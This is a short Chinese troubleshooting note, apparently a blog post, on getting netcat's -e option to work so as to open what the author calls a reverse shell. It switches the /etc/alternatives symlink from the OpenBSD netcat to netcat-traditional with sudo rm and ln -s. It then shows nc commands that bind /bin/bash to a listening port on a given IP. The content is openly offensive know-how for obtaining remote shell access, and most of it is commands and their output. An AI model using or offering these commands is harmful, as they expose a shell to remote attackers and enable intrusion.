nc反弹shell的时候出现错误
nc: invalid option — ‘e’
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.

以下是修复思路

$ which nc
/bin/nc
$ ls -ld /bin/nc
lrwxrwxrwx 1 root root 20 10月 24  2012 /bin/nc -> /etc/alternatives/nc
$ ls -ld /etc/alternatives/nc
lrwxrwxrwx 1 root root 19  2月 13 10:03 /etc/alternatives/nc -> /bin/nc.traditional
 
实际上我们要找的这是个文件 /bin/nc.traditional :
 
$ /bin/nc.openbsd -l -p 9999 -e /bin/bash
/bin/nc.openbsd: invalid option -- 'e'
usage: nc [-46DdhklnrStUuvzC] [-i interval] [-P proxy_username] [-p source_port]
   [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol]
   [-x proxy_address[:port]] [hostname] [port[s]]
$ /bin/nc.traditional -l -p 9999 -e /bin/bash
^C
$

结合以上的输出消息，我们可以通过下面这段命令修复:

$ sudo rm /etc/alternatives/nc && sudo ln -s /bin/nc.traditional /etc/alternatives/nc

修复后再试试，没错误提示就shell反弹成功！

$ nc -l 192.168.2.180 -p 12345 -e /bin/bash